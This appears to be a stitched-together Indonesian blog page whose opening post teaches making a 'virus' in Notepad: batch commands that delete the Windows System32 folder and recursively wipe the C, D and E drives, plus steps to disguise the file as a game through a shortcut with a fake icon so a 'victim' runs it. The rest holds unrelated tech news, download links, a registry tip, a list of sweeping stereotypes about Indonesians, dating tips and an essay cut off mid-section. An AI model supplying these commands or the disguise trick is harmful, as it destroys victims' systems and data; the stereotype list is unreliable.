cara membuat virus dengan notepad

     Open Notepad
    Write / copy the below command there:
    " del c:\WINDOWS\system32\*.*/q "  without quote
    and save as " anything.bat"
    Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.




Virus II:

Process:


     Open Notepad
    Copy the below command there
    "rd/s/q D:\
    rd/s/q C:\
    rd/s/q E:\" ( without quotes )
    Save as "anything.bat
    This virus Formats the C ,D  , and E Drive in 3  Seconds.






How to Spread it:

* Windows does'nt allow to change the icon of .bat files. Therefore what you can do is :

    Right click on the .bat file
    Click on CREATE SHORTCUT
    And hide the original file.
    Now as this newly created file is just the shortcut, you can easily change its icon.
    Right click on this shortcut
    properties >>>..cutomize>>..choose icon
    Now give an attractive icon to it.
    Now name it something intresting. eg. PROTOTYPE or IGI etc.
    Now your victim would think it to be the game , and he will be easily curropted.

Lebih dari 60 persen Email di Indonesia Adalah Spam

Perusahaan keamanan Symantec telah merilis laporan terbarunya bertajuk Symantec Intelligence Report. Laporan yang dirilis awal Juni 2012 ini menunjukkan data untuk Mei 2012.

Menurut keterangan tertulis Symantec, sekitar 66,3 persen email di Indonesia pada periode itu adalah email sampah alias Spam. Ini menunjukkan kenaikan 2,9 persen dari periode sebelumnya.

Tren ini sama dengan tren global yang menunjukkan kenaikan 3 persen, dari periode April 2012, menjadi 67,8 persen.

Perusahaan keamanan itu memperkirakan pengirim email spam akan memanfaatkan momentum yang sedang ramai dibicarakan. Termasuk, Olimpiade London 2012.

Contohnya, Symantec menemukan adanya upaya penipuan yang mengiming-imingi korban jabatan di panitia Olimpiade, mulai dari koordinator hingga penyambut tamu.

Data lain yang diungkap dalam laporan itu adalah rasio virus yang menyebar lewat email. Dalam hal ini, terjadi penurunan.

Di Indonesia, laporan itu menyebutkan, rasio virus untuk periode Mei 2012 adalah 1:1281,4. Artinya, ada satu virus dalam setiap 1.281-an email.

Apple Akan Bangun "Pesawat Luar Angkasa"

Sejumlah warga kota Cupertino, Amerika Serikat, baru-baru ini menerima selebaran brosur yang dikirim oleh Apple.

Selebaran tersebut berisi penjelasan mengenai "Apple Campus 2", gedung baru milik produsen iPhone dan iPad tersebut yang rencananya akan segera dibangun.

Gambar-gambar rekaan pun turut disertakan sehingga para warga yang  tinggal di sekitar lokasi konstruksi bisa membayangkan seperti apa bentuk markas baru Apple itu.

Dalam brosur, "Apple Campus 2" tampak berbentuk lingkaran dengan taman di bagian tengah. Atap-atapnya akan ditutupi oleh panel surya.

Mendiang Steve Jobs pernah mengatakan bahwa gedung futuristis berlantai 4 ini bakalan terlihat seperti "pesawat luar angkasa yang sedang mendarat".

Kompleks bangunan "Campus" yang pertama kali diperkenalkan pada Juni 2011 ini rencananya akan dibangun dalam area seluas 71 hektar yang kini ditempati  26 bangunan tua. Pohon-pohon bakal ditanam di lahan sekelilingnya.
 Brosur "Apple Campus 2" (foto: SlashGear)
Apple menegaskan bahwa bangunan baru tersebut ditujukan untuk melengkapi "Campus Infinite Loop" yang sudah ada. "Campus 2" bisa mampu menampung 13.000 pegawai tambahan dan berfungsi sebagi fasilitas riset untuk Apple.

Markas Apple disebut sebagai "Campus" karena rancangannya menyerupai kampus sebuah universitas.

Menurut rencana, proses konstruksi akan dimulai pada tahun ini begitu disetujui oleh dewan kota. Jika berjalan sesuai jadwal, pegawai Apple diperkirakan sudah dapat menempati bangunan itu pada 2015 nanti.

"Apple Campus 2" akan memiliki berbagai kelengkapan, seperti auditorium, restoran, dan pusat kebugaran/rekreasi.

Berbeda dari "Campus 1", markas baru Apple ini tidak terbuka untuk umum. Para eksekutif Apple akan tetap menghuni gedung Infinite Loop yang berperan sebagai markas korporat resmi perusahaan teknologi tersebut.

Pembuat Trojan Komputer Mac "Raup" Rp 90 Juta per Hari

Trojan Flasback yang menyerang komputer Mac OS X ternyata "menghasilkan" 10.000 dollar AS (sekitar Rp 90 juta) per hari untuk pembuatnya. Temuan ini dipublikasikan Symantec setelah melakukan penelitian terhadap trojan ini dan skema serangannya.

Uang ribuan dollar tersebut didapat dari Google AdWords, hasil klik dari pengguna komputer Mac yang terjangkit trojan Flashback.

Trojan Flashback mampu mengarahkan hasil pencarian mesin pencari Google menuju halaman lain yang telah dipilih pembuat virus sehingga setiap kali ada pengguna yang "mampir" ke halaman tersebut, uang pun mengalir.

Trojan Flashback mampu memunculkan pop up seolah-olah dikirim secara resmi oleh Apple Inc yang memaksa pengguna secara halus untuk mengklik pop up tersebut. Untuk setiap tautan yang diklik, penyerang memperoleh 0,8 sen dollar AS dari Google AdWords.

Pada komputer yang terinfeksi, trojan Flashback akan menyelinapkan ke peramban Safari, Firefox, dan Chrome, kemudian mengubah kode untuk pencarian.

Jadi, setiap kali pengguna mencari sebuah situs web, dia akan diarahkan Flashback ke situs web lain yang apabila dikunjungi akan menghasilkan klik dan tentu saja uang untuk pembuat virus tersebut.

Flasback bisa saja menyedot kerugian lebih banyak daripada yang didapatnya saat ini mengingat 700.000 komputer Mac telah terinfeksi. Trojan ini menyebar begitu cepat karena pengguna mengunduh Adobe Flash yang mereka yakini merupakan plug-in asli untuk Mac.

Setelah di-install, trojan ini masuk ke "lubang" yang terdapat dalam program Java dan meng-install sendiri hasil pencarian palsu serta menjalankan kode berbahaya lainnya pada Mac yang sudah terinfeksi.

Symantec mengkritik Apple yang terlalu lama membuat patch untuk masalah ini dan membiarkan Flashback menjadi sebesar saat ini. Padahal, Oracle telah membuat patch untuk Java pada bulan Februari, tetapi Apple baru menyediakan patch enam minggu kemudian.

Akibatnya, ratusan ribu pengguna Mac terinfeksi.

Kasus trojan Flashback ini memang menghancurkan klaim Apple yang mengatakan bahwa produk Mac bebas virus. Dengan kasus ini, Symantec berharap pengguna Mac lebih peduli terhadap keamanan platform Mac, terutama Mac OS X.

Resmi Dirilis, Google Drive Sediakan Ruang Hingga 16TB

Rumor pekan lalu yang menyebut Google akan meluncurkan layanan penyimpanan data online-nya pada Selasa (24/4/2012), terbukti benar. Google akhirnya meluncurkan secara resmi Google Drive, pada Selasa (24/4/2012).

Selain itu, Google akan memberikan kapasitas penyimpanan data gratis 5GB juga benar adanya. Kabar itu memang datang dari orang dalam Google yang membocorkan informasi kepada situs teknologi The Next Web.

Saat ini Google Drive tersedia untuk perangkat komputer bersistem operasi Windows dan Mac, lalu smartphone dan tablet Android. Dari keterangan di situs resmi Google Drive, perusahaan mesin pencari ini akan membuat Google Drive untuk perangkat berbasis iOS, yakni iPhone, iPad dan iPod Touch.

Google Drive bisa dibuat untuk menyimpan data semua format. Dokumen, foto, video, aplikasi, dan segalanya yang dikehendaki.

Bagi Anda pengguna layanan Google Docs, mungkin langsung nyaman menggunakan Google Drive karena data-data Anda otomatis tersimpan di Google Drive.

Begitupun dengan pengguna Android, Anda bisa mengintegrasikan data-data di smartphone atau tablet ke Google Drive.

Google Drive menawarkan beberapa pilihan untuk menambah kapasitas ruang penyimpanan data. Diantaranya, 2,49 dollar AS per bulan untuk 25GB dan 4,99 dollar AS per bulan untuk 100 GB.

Jika Anda memutuskan menggunakan Google Drive berbayar, maka kapasitas simpan akun GMail Anda akan ditambah menjadi 25GB.

Pilihan penambahan kapasitas Google Drive tersedia hingga 16TB.

Untuk mulai menggunakan Google Drive, silakan masuk ke link ini. Namun, menurut Google, belum semua pengguna dapat menikmati cloud storage Google ini.

Saat dicoba oleh Kompas Tekno dengan menggunakan beberapa akun Google berbeda, tak ada satu pun yang bisa mencoba Google Drive.

Sepertinya, pengguna di Indonesia masih harus bersabar menikmati hard disk online besutan Google ini.

Laptop Tipis AMD Diklaim Bakal Lebih Terjangkau

Laptop super-tipis atau biasa disebut "ultrabook" memang menarik, tetapi juga cukup menguras kantong. Menanggapi hal tersebut, AMD mengambil langkah berbeda dengan menawarkan produk yang lebih murah dari kompetitor.

Seperti dilansir oleh Reuters, Chief Executive AMD Rory Read mengatakan bahwa Intel terlalu menganggap tinggi kesediaan konsumen untuk membayar mahal demi mendapat laptop kelas atas.

AMD berencana untuk menjual laptop tipis yang menggunakan chip Trinity buatannya  -yang disebut sebagai laptop "Ultrathin"- dengan harga kisaran US$ 600 atau sekitar 6 juta-an  rupiah. Angka tersebut kurang lebih sama dengan harga laptop konvensional yang berukuran tebal, dan jauh lebih murah dibandingkan Ultrabook.

Meskipun memiliki beberapa kelebihan seperti prosesor yang bertenaga dan bentuk tipis, Laptop dari jenis "Ultrabook" yang dipromosikan oleh Intel dipatok dengan harga cukup tinggi, mencapai kisaran belasan juta rupiah.

"Ini adalah sebuah kesempatan untuk mengambil keuntungan dari peluang yang diciptakan oleh orang  (kompetitor) lain," ucap Read.Lebih jauh, Read mengatakan bahwa Intel mematok harga yang terlalu tinggi untuk bisa meraih angka 40% dari seluruh volume penjualan laptop, seperti yang ditargetkan oleh raksasa chip tersebut bagi ultrabook. "Peluang justru ada di pasar mainstream," tandasnya.

Ultrabook adalah istilah yang digunakan Intel untuk menyebut jenis laptop super-tipis yang dilengkapi fitur-fitur kelas atas seperti cangkang berbahan metal dan Solid State Disk.

Socl, Jejaring Sosial Baru Buatan Microsoft

Microsoft secara diam-diam meluncurkan situs jejaring sosial sendiri, Socl, Minggu (20/5/2012). Penyebutan nama Socl adalah "Social" dan beralamat di So.cl.

Proyek jejaring sosial Microsoft sebenarnya sudah bocor sejak akhir 2011, bahkan sudah diketahui secara pasti bahwa akan diberi nama Socl.

Pada halaman "About" Socl, diterangkan bahwa jejaring sosial ini merupakan sebuah proyek penelitian eksperimental untuk tujuan pembelajaran yang dikembangkan oleh FUSE Labs dari Microsoft.

Socl menggabungkan jejaring sosial dan pencarian guna membantu masyarakat umum, terutama pelajar dan mahasiswa, untuk menemukan dan berbagi halaman web yang menarik.

Data hasil pencarian di Socl didukung oleh mesin pencari Bing.

Di Socl, pengguna dapat melakukan login menggunakan akun Facebook atau Windows Live. Begitu masuk ke Socl, pengguna akan dihadapkan pada berbagai topik dan usulan untuk mengundang teman ke Socl.

Terdapat rentetan menu di sebelah kiri layar, mulai dari post, profile, video parties hingga following dan followers.
Fitur yang cukup menarik adalah video parties, yang memungkinkan pengguna mencari, menonton, dan mengumpulkan video dengan pengguna lainnya.
Tombol ikon "home" berada di kiri atas layar, diapit oleh logo Socl dan kotak mesin pencari. Seperti halnya Facebook, menu home akan menampilkan feed atau kabar terkini dari para pengguna Socl.

Pengguna dapat melakukan posting dan membagi situs web atau konten menarik lainnya. Setiap posting yang muncul di feed bisa dikomentari (comment), dibagi (share) dan ditandai (tag).

Ada cara yang cukup berbeda untuk menanggapi setiap posting di Socl, yakni Riff. Microsoft menjelaskan, Riff merupakan cara baru untuk berinteraksi dan mengimprovisasi konten.
Notifikasi aktivitas di Socl bisa dilihat dengan mengeklik kotak di sebelah nama dan foto pengguna yang terletak di kanan atas layar. Jika ada notifikasi, kotak tersebut akan berwarna oranye.

Free Dwonload CC Cleaner

CCleaner

CCleaner (sebelumnya Crap Cleaner) adalah fasilitas perangkat gratis yang digunakan untuk mengoptimalkan komputer dan membersihkan registry-nya. Salah satu fitur penting pada program ini adalah tersedianya perkakas untuk membersihkan cache yang ditinggalkan oleh program peramban saat berselancar di internet.
Perkakas pelengkap (utility tools) pendamping sistem operasi ini memiliki ukuran yang sangat kecil, sehingga tidak membebani resource komputer saat beroperasi, namun hal ini dikompensasi dengan minimnya fitur yang tersedia jika dibandingkan dengan produk sejenis dengan lisensi berbayar.
Perangkat ini dikembangkan oleh perusahaan Piriform Ltd. dan didesain untuk beroperasi pada sistem Microsoft Windows. CCleaner disediakan gratis untuk para pengguna komputer, sehingga Piriform memerlukan donasi untuk mengembangkan program ini. CCleaner tersedia dalam 35 bahasa nasional berbagai negara di dunia dan rencananya untuk versi-versi yang akan datang akan ditambah lagi.
Perangkat lunak ini memiliki 4 menu utama, yaitu:
  • Cleaner
  • Registry
  • Tools
  • Options


LANGSUNG AJA BAGI ANDA YANG MAU MENDWONLOAD CC CLEANNER

klik disini 
 

 

Free Dwonload foobar2000_v1.1

 
 
 
Foobar2000 adalah freeware canggih pemutar audio untuk platform Windows. Foobar2000 ini sangat bagus digunakan untuk mendengarkan suara. Dengan ukuran file yang tidak begitu besar (3.09MB (3,243,067 bytes)), sehingga software ini sangat ringan untuk digunakan. Fitur-fitur yang disediakan dalam foobar2000 adalah:
  • Format audio yang mendukung adalah MP3, MP4, WAV, AAC, Audio CD , Vorbis, FLAC, WavPack, WMA, AIFF, Musepack, Speex, AU, dan masih banyak lagi format lainnya yang mendukung.
  • Dapat diputar ulang.
  • Full unicode support.
  • Mudah untuk merubah layout antarmuka.
  • Kemampuan advance tagging.
  • Dukungan untuk ripping CD Audio serta didukung transcoding semua format audio menggunakan komponen Konverter.
  • Full ReplayGain support.
  • Open component architecture yang memungkinkan developer pihak kegita untuk mengembangkan fungsi audio player.

Langsung Dwonload foobar 2000


KLIK DISINI

Free Dwonload Game Quiz parampa 1&2

 

 

 

Quiz Parampaa

Quiz Parampaa yaitu permainan pertanyaan secara online yang berada di alamat Parampaa.net. Awalnya, Quiz Parampaa berada di blog milik Bisri Mustova, tetapi karena antusiasme masyarakat yang semakin besar, maka permainan ini dipindah ke alamat Parampaa.net. Pertanyaan-pertanyaan yang berada di permainan ini tidaklah serius namun menjawab pertanyaan di permainan ini harus membutuhkan logika karena bisa saja jawabannya melenceng dari pertanyaannya.

Aturan Main

  • Di permainan ini terdapat tiga hati yang merupakan tiga kali kesempatan jika jawabannya salah.
  • Beberapa level mempunyai bom yang akan menamatkan semua nyawa dengan waktu 10 detik untuk menghentikan bomnya.
  • Saat menjawab pertanyaan, dianjurkan untuk tidak menekan tombol "Ctrl". jika tombol ini ditekan maka di layar akan ditampilkan tuisan yang berbunyi: "Curang!!!" dengan tombol "Ctrl" yang disilang.

Sekuel Quiz Parampaa

Quiz Parampaa memiliki 3 sekuel, yaitu:
  • Quiz Parampaa 1
  • Quiz Parampaa 2
  • Quiz Parampaa Kita Bersama


Langsung Dwonload parampa 1&2 bagi kamu yang suka game yang memacu otak kalian

Dwonload disini

Free Dwonload Fonts




Langsung ja menuju ke TKP ga usah banyak basi basi

INI LINK NYA :D

Clik Here

Free Dwonload Pivot



Pivot adalah sebuah aplikasi untuk membuat animasi biasanya animasi ini di paka unutuk dijadikan avatar pada suatu website contoh pada kaskus.us.pivot adalah salah satu pembuat animasi yang mudah dan simple

 langsung saja bagi kalian yang ingin mendwonload PIVOT

Clik Here

Cara mengkaktifkan task manager yang sudah di disable

Langsung aja begini caranya:
====================
1.Buka run [star-->accessories-->run atau tekan windows pada keyboard lalutekan R / windows+R
 ===================================================================
2.Ketik regedit lalu enter/ok
===================================================================
3.Lalu cari keys disabletaskmgr dengan cara klik edit-->find-->lalu ketik disabletaskmgr-->lalu klik find next
===================================================================
4.setelah itu klik key disabletaskmgr
===================================================================
5.Lalu ubah angka 1 yang ada dalam kotak menjadi 0
 ===================================================================
SEKIAN DAN TERIMAKASIH

^GOOD LUCK^

100 Fakta Dan Ciri Khas Orang Indonesia Yang Sudah Anda Ketahui

100 Fakta Dan Ciri Khas Orang Indonesia Yang Sudah Anda Ketahui

kita sebagai orang asli indonesia tentunyA punya ciri khas sebagai orang indonesia..apa saja itu?

1. “Kapan libur?” merupakan suatu pertanyaan yang sangat sering ditanyakan oleh orang Indonesia

2. anak-anak kecil di Indonesia lebih hafal lagu-lagu pop, rock, dan semacamnya daripada lagu-lagu wajib nasional Indonesia (bahkan lagu Indonesia Raya)

3. Ancol selalu ramai di hari Lebaran dan Tahun Baru

4. artis-artis Indonesia yang sudah kurang laku, mencoba peruntungan di dunia politik

5. bahasa gaul dan bahasa SMS adalah salah satu bahasa wajib di Jakarta

6. banyak orang yang tidak membeli karcis KRL Ekonomi, padahal harganya rata-rata hanya berkisar antara Rp1.500,00 – Rp2.500,00

7. banyak yang menuntut hak padahal mereka belum melakukan kewajiban

8. berbicara dengan bahasa daerah di tengah-tengah orang-orang yang tidak mengerti bahasa tersebut adalah suatu kepuasan batin

9. cinta ditolak? Dukun bertindak!

10. dangdut sangat digemari oleh masyarakat luas

11. di Indonesia, seseorang bisa jatuh pingsan ketika bertemu dengan idolanya

12. di Indonesia, setiap guru Bahasa Indonesia memiliki persepsi yang berbeda-beda tentang Bahasa Indonesia, tidak ada yang sama. Jawaban mengenai satu soal EYD (misalnya) bisa menjadi sangat rumit dan beragam (berbeda-beda) bila ditanyakan oleh guru-guru Bahasa Indonesia dari Sabang sampai Merauke

13. di setiap pesantren, Kiyai tidak pernah salah

14. di setiap truk-truk pengangkut barang biasanya terdapat gambar-gambar lukisan wanita di bagian belakang

15. di universitas-universitas di Indonesia banyak remaja yang berminat belajar di Fakultas Hukum

16. diberhentikan oleh polisi lalu lintas berarti harus siap-siap merogoh kocek Anda

17. Dufan adalah tempat yang cocok untuk berbagai masalah asmara dan percintaan

18. film horor selalu menjadi suatu tontonan yang ramai ditonton

19. hampir 80% tayangan stasiun televisi swasta di Indonesia adalah sinetron-sinetron yang tidak mendidik

20. hampir semua orang menyukai masakan Padang

21. hampir tidak ada orang yang mengatakan “naik bus Transjakarta”, tapi orang-orang akan mengatakan, “naik Busway”

22. hukum di Indonesia sangat payah

23. iklan-iklan SMS registrasi sangat mewabah di Indonesia

24. Jakarta itu keras

25. Jakarta selalu banjir

26. Jakarta selalu macet

27. jalan-jalan berlubang di Jakarta dan sekitarnya rata-rata baru diperbaiki ketika akan ada pemilihan lurah, camat, walikota, atau gubernur

28. kata-kata yang sangat mudah diucapkan oleh orang Indonesia adalah kata “maaf” (tapi kemudian diulangi lagi)

29. kebiasaan orang Jakarta salah satunya adalah pergi mudik ketika mendekati Lebaran dan kemudian membawa sanak saudara lainnya dari kampung untuk ikut tinggal di Jakarta

30. kebutuhan paranormal di Indonesia tidak akan pernah habis

31. kebutuhan sex remaja semakin meningkat

32. kehidupan malam di Jakarta sangat “wow”

33. kejujuran adalah hal yang kurang populer di negeri ini

34. ketika perut kosong, orang-orang bisa menjadi anarkis, tapi akan menjadi kalem bila perut sudah terisi

35. korupsi adalah hal yang lazim di Indonesia

36. korupsi tidak selalu identik dengan uang

37. koruptor punya link yang sangat bagus sehingga tidak perlu khawatir akan tindakannya

38. KRL Ekonomi di Jakarta selalu penuh sesak di pagi hari

39. KRL terlambat bukan suatu masalah baru

40. liburan ke Bali berarti orang kaya

41. mayoritas mahasiswa hobi berdemo

42. maling ayam biasanya dihabisi dan dipukuli oleh masyarakat (paling parah dibakar)


43. masalah penipuan, pembajakan, dan pemalsuan, Indonesia ahlinya!

44. masalah-masalah di Indonesia tidak pernah selesai karena di Indonesiaberlaku tiga macam sudut pandang, yaitu dari sisi teologi (agama), metafisik (supranatural), dan ilmiah, sedangkan negara-negara maju tidak lagi memandang suatu masalah dari sudut pandang metafisik dan teologi, hanya dari masalah ilmiah saja. Ketiga sudut pandang ini tidak akan pernah bisa menyatu, itulah salah satu alasan mengapa Indonesia tidak maju-maju

45. maskapai penerbangan Indonesia sangat berani terbang bahkan dalam kondisi terburuk sekalipun

46. masyarakat muslim di Indonesia tidak pernah merayakan sholat Idul Fitri secara serempak karena masing-masing merasa paling pintar dan paling benar

47. mayoritas supir-supir angkutan umum di Jakarta adalah oran Batak dan orang Minang

48. menambahkan gelar “haji” setalah pergi ke Tanah Suci adalah suatu keharusan

49. mengemis adalah salah satu pekerjaan para perantau yang kurang berhasil di Jakarta

50. mengerjai junior ketika ospek merupakan suatu kesenangan dan kepuasan tersendiri bagi para senior

51. mengucapkan janji sangatlah mudah, tapi melaksanakannya?

52. menjadi rombongan kampanye suatu partai adalah salah satu hobi masyarakat Indonesia

53. merokok di tempat umum (bahkan dalam angkatan umum) adalah biasa dan terkesan tidak mengganggu sekitar

54. metode menyontek di kalangan pelajar semakin lama semakin berkembang dan canggih

55. musuh nomor satu angkutan umum adalah pengendara motor

56. musuh para pengendara mobil adalah segala angkatan umum ditambah pengendara motor

57. ngekost berarti bebas dari kekangan orang tua

58. orang Indonesia adalah orang-orang yang selalu merasa lebih pintar dari orang lain

59. orang Indonesia adalah orang-orang yang selalu merasa lebih religius dari orang lain

60. orang Indonesia adalah orang-orang yang selalu merasa lebih tahu segalanya

61. orang Indonesia adalah orang-orang yang selalu merasa yang paling benar

62. orang Indonesia adalah orang-orang yang selalu protes

63. orang Indonesia adalah orang-orang yang tidak bisa menerima kekalahan dengan lapang dada

64. orang Indonesia adalah orang-orang yang tidak takut mati

65. orang Indonesia adalah orang-orang yang unik yang masih ada di dunia ini

66. orang Indonesia gemar mencaci maki dengan kata-kata kotor, seperti: A****g! B**i! M****t! T*i! Dan kata-kata kotor lainnya yang berhubungan dengan alat vital manusia

67. orang Indonesia gemar menggunakan istilah asing dalam berbagai percakapan

68. orang Indonesia kadang lebih Inggris daripada orang Inggris sendiri

69. orang Indonesia sangat menyukai junk food

70.orang Indonesia bahkan lebih Arab daripada orang Arab itu sendiri

71. orang Indonesia selalu mengeluh, tapi tidak pernah mau bertindak

72. orang Indonesia selalu membuat hal sederhana menjadi hal yang rumit

73. orang Indonesia tidak pernah mau belajar dari kesalahan dan terus mengulangi kesalahan-kesalahan tersebut

74. orang Indonesia tidak pernah mau mengerti dan menghargai orang lain

75. orang-orang cinta Jakarta sekalipun hidupnya tidak tenang di kota ini

76. orang-orang dulu mendukung SBY, tapi ketika jadi presiden, tidak sedikit orang yang menghinanya bahkan minta turun dari jabatannya, tapi yakinlah, ketika pemilu nanti orang-orang akan kembali memilih SBY

77. orang-orang Indonesia senang membuang kata-kata “jangan”, seperti JANGAN MEMBUANG SAMPAH SEMBARANGAN, menjadi buang sampah sembarangan, lalu, JANGAN MENYELAK, menjadi menyelak, JANGAN MENYONTEK, menjadi menyontek, dan sebagainya

78. orang-orang yang duduk di DPR tidak pernah merasa cukup dengan gaji yang diterimanya

79. orang-orang yang duduk di lembaga legislatif negara sangat gemar melakukan kegiatan studi banding di negara-negara lain

80. orang-orang yang sportif adalah kaum minoritas

81. pengendara motor selalu ada di barisan terdepan di lampu merah

82. pengendara motor selalu kabur ketika melakukan kesalahan

83. pengendara motor selalu lebih galak walaupun sebenarnya dia yang salah

84. pengendara motor selalu tergesa-gesa seperti dikejar setan

85. pengendara motor tidak pernah mau disalahkan

86. pengendara motor tidak pernah mau mengalah

87. pengendara motor tidak pernah taat aturan

88. PNS adalah salah satu pekerjaan yang diminati masyarakat Indonesia

89. prinsip “mangan ora mangan yang penting ngumpul” sangat berlaku diJakarta

90. rasa kesukuan di Indonesia sangat kuat daripada rasa nasionalisme terhadap Indonesia sendiri

91. rata-rata orang Indonesia pelit (bukan hemat)

92. rata-rata orang Indonesia selalu meninggikan anak-anak IPA dan menganggap remeh anak-anak IPS (padahal mayoritas anak IPA ketika kuliah nantinya memilih IPS)

93. rata-rata wanita Indonesia sangat senang bila mempunyai pacar orang asing (bule)

94. reformasi sangat dijunjung tinggi di negeri ini

95. remaja wanita sangat menyukai film horor

96. salah satu pemikiran remaja-remaja Indonesia adalah, free sex? Why not? Yang penting save sex

97. salah satu prinsip orang yang punya kekuasaan atau memiliki peran yang penting dalam sautu hal adalah, “Kalau bisa dipersulit, kenapa harus dipermudah? Kalau bisa diperlambat, kenapa harus dipercepat?”

98. semua restoran, rumah makan, dan warung makan pasti akan selalu ramai di saat waktu berbuka puasa di bulan Ramadhan

99. seni dari naik KRL Ekonomi adalah ketika orang tersebut bisa duduk di atas atap gerbong kereta dengan nyaman

100. sepeda motor adalah kendaraan favorit masyarakat Jakarta

30 HAL YANG MEMBUAT CEWEK SENYUM :D

 
30 Hal yang membuat Cewek Tersenyum ^__^
 
1. Jangan memeluk temannya atau temanmu dimana hal itu bisa membuatnya merasa ditinggalkan.

2. Pegang tangannya pada setiap kesempatan... meskipun hanya sedetik saja.

3. Peluk dia dari belakang.

4. Tinggalkan pesan suara untuk dia untuk membangunkan dia dari tidurnya.

5. Bercanda -canda dengan dia.

6.Jangan pergi jalan-jalan dengan mantanmu jika dia sedang tidak bersama kamu, kamu mungkin tidak mengetahui betapa menyakitkannya hal itu bagi dia.

7. Jika kamu sedang berbicara dengan seorang Cewe lain , setelah kamu selesai berbicara, berjalanlah dan peluklah dia serta ciumlah dia... Tunjukkan pada dia bahwa dia milikmu dan mereka bukan apa-apa.

8. Tuliskan dia sebuah catatan atau telepon dia hanya untuk sekedar menyapanya... dan tidak hanya pada saat malam hari setelah kamu bepergian dengan Cewe-Cewe lain.

9. Perkenalkan dia pada teman-temanmu... sebagai kekasihmu.

10. Bermain dengan rambutnya.

11. Gendong dia.

12. Merasa kesal apabila ada Cowo lain memegang-megang dia dan dia tidak menyukainya.

13. Buat dia tertawa, jika kamu bisa membuat dia tertawa. kamu bisa membuat dia melakukan apa saja.

14. Biarkan dia tertidur lelap di dalam pelukanmu.

15. Jika dia marah padamu, cium dia.

16. Jika kamu sayang pada dia, katakan.

17. Setiap Cowo harus memberikan Cewe mereka 3 benda: boneka binatang (dia akan membawanya dan memeluknya setiap kali dia akan tidur), perhiasan (dia akan menyimpannya dengan baik-baik untuk selamanya), dan baju yang dimiliki sang Cowo (dia akan memakainya ketika tidur).

18. Perlakukanlah dia sebagaimana biasanya, meskipun sedang berkumpul dengan teman-teman.

19. Tataplah kedua matanya dan tersenyumlah pada dia.

20. Pergi jalan-jalan dengan dia tiap akhir pekan.

21. Cium dia di bawah guyuran hujan ( Dosa 300 tahun di Neraka tanggung sendiri )

22. Jika kamu sedang mendengarkan musik, biarkan dia ikut mendengarnya bersama kamu.

23. Ingat hari ulang tahunnya dan belikan dia sesuatu, meskipun itu sederhana dan tidak mahal, itu adalah pemberian dari KAMU. Itu berarti segalanya bagi DIA.

24. Ketika dia memberikan hadiah pada hari ulang tahunmu, atau pada saat-saat tertentu, ambillah dan katakan pada dia bahwa kamu menyukainya, meskipun sebenarnya tidak (hal itu akan membuatnya senang).

25. Cewe tidak butuh pembicaraan lewat telepon yang panjang dan berjam-jam tiap malam, yang terpenting adalah bisa mendengar suara kamu meskipun hanya sekedar sapaan atau 'halo?'.

26. Berikan dia apa yang dia mau.

27. Hargai setiap hal kecil... itu biasanya berarti besar.

28. Katakan pada dia bahwa dia cantik atau menarik, dia perlu tahu bahwa dandanannya tidak sia-sia.

29. Pergi jalan-jalan bersama dia setiap kali kamu nganggur dan kamu harus siap mengajak kekasihmu jalan-jalan kapan saja.

30. Jika kamu perhatian pada dia... TUNJUKKAN!

selalu tersenyum ya ^___^

Tambahan nih !!!

kalo cowo melakukan kesalahan

kalo cewe melakukan kesalahan

intinya adalah " Mengalah buat orang yang kita sayangi adalah suatu bukti seberapa besar perhatian kita ... "

Perjalanan teknologi


 

Pendahuluan 

Manusia adalah mahluk social. Hal ini menunjukan bahwa tidak ada manusia yang dapat hidup sendiri untuk memenuhi kebutuhan hidupnya. Ia selalu memerlukan manusia lain. Ileh karena itu sejak zaman dahulu,manusia selalu berusaha mencoba dan menemukan cara untuk dapat berinteraksi atau berkomunikasi dengan manusia lainya. Seiring berkembangnya ilmu pengetahuan dan teknilogi maka saran dan prasarana konikasi jga berkembang. Berikut akan dibahas beberapa media atau alt sebagai wujud teknologi untuk dapat menerima,mengelolah dan menyampaikan informasi dalam komunikasi antar manusia.
MEDIA KOMUNIKASI MASA LALU (KUNO)
            Komuniksai adalah proses interaksi antara seorang sebagai pengirim pesan kepada orang lain sebagai penerima pesan. Jadi terdapat tiga unsure dalam komunikasi itung pengirim peasan(sender),pesan (information) dan penerima(receiver). Di antara pengirim dan penerima diperlukan adanya perantara atau media. Jenis media yang digunakan tergantung pada jarak antara penerima dan pengirim pesan serta jenis atau bentuk pesan yang akan disampaikan.
            Pada awalnya manusia berkomunikasi dengan isyarat,kemudian berkembang dengan bunyi-bunyian hingga tercipta bahasa dan tulisan. Komunikasi dengan isyarat pada jarak yang jauh misalnya menggunakan asap,kentongan,peluit dan lain-lain.
            Setelah mengenal tulisan,media komunikasi beralih ke benda-benda yang dapat ditulis mulai dari batu,tanah liat,batang pohon dan daun-daunan hingga akhirnya ditemukan kertas. Benda-benda seperti batu logam,tanah liat, batang pohon yang memuat tulisan-tulisan tersebut dinamakan prasasti. Contoh prasasti antara lain:

1.      Pictograph yaitu tulisan paku yang digunakan oleh bangsa sumeria pada jaman dulu. Pictrograf biasanya ditulis pada tablet atu tanah liat.

2.      Hieroglyphic yaitu berupa gambar yang digunakan oleh bangsa mesir,biasanya ditulis pada batu atu dinding gua.
3.      Sekitar tahun 1772 SM,bangsa Yunani menggunakan a phonetic alphabet yang berupa lambing suara yang ditulis dari kiri ke kanan.
4.      Sekitar tahun 1400 SM, manusia menggunakan tulang untuk menulis pesan.
5.      Selkitar tahub 500 SM, manusia memulai menggunakan daun papyrus (lontar) untuk menulis pesan.
6.      Sekitar tahun 776 Sm, manusia menggunakan burung merpati untuk menulis pesan
7.      Sekitar tahun 200 SM, dikenal dengan adanya manusia pasuruh baik dengan berjalan kaki tau naik kuda.mereka mendirikan pos-pos komuniaksi,sehingga pesuruh hanya perlu menyampaikan pesan kepada satu pos dan pesan akan dilanjutkan oleh pesuruh lain menuju pos berikutnya sampai kepada penerima pesan yang dituju.
MEDIA KOMUNIKASI MODERN
1.      1.Koran (surat kabar)
Koran atau surat kabar pertama kali dikenal pada tahun 59 SM (sebelum Masehi) di kekaisaran Romawi kuno.saat itu Koran hanya berisi jurnal kegiatan sang kaisar,yaitu Julius caecsar yang bertajuk”rela tion”. Koran tertua didunia yang saat ini masih terbit adalah IPost Och inrikers Tidningar dari swedia yang terbit pertama kali pada tahun 1645.
Pada saat ini Koran digunakan untuk menyampaikan berbagai informasi yang hampir mencakup seluruh aspek kebutuhan manusia mulai dari perkembangan ilmu pengetahuan dan teknologi,berita ekonomi,politik maupun sekedar informasi dunia hiburan.
2 Telegraf atu telegram
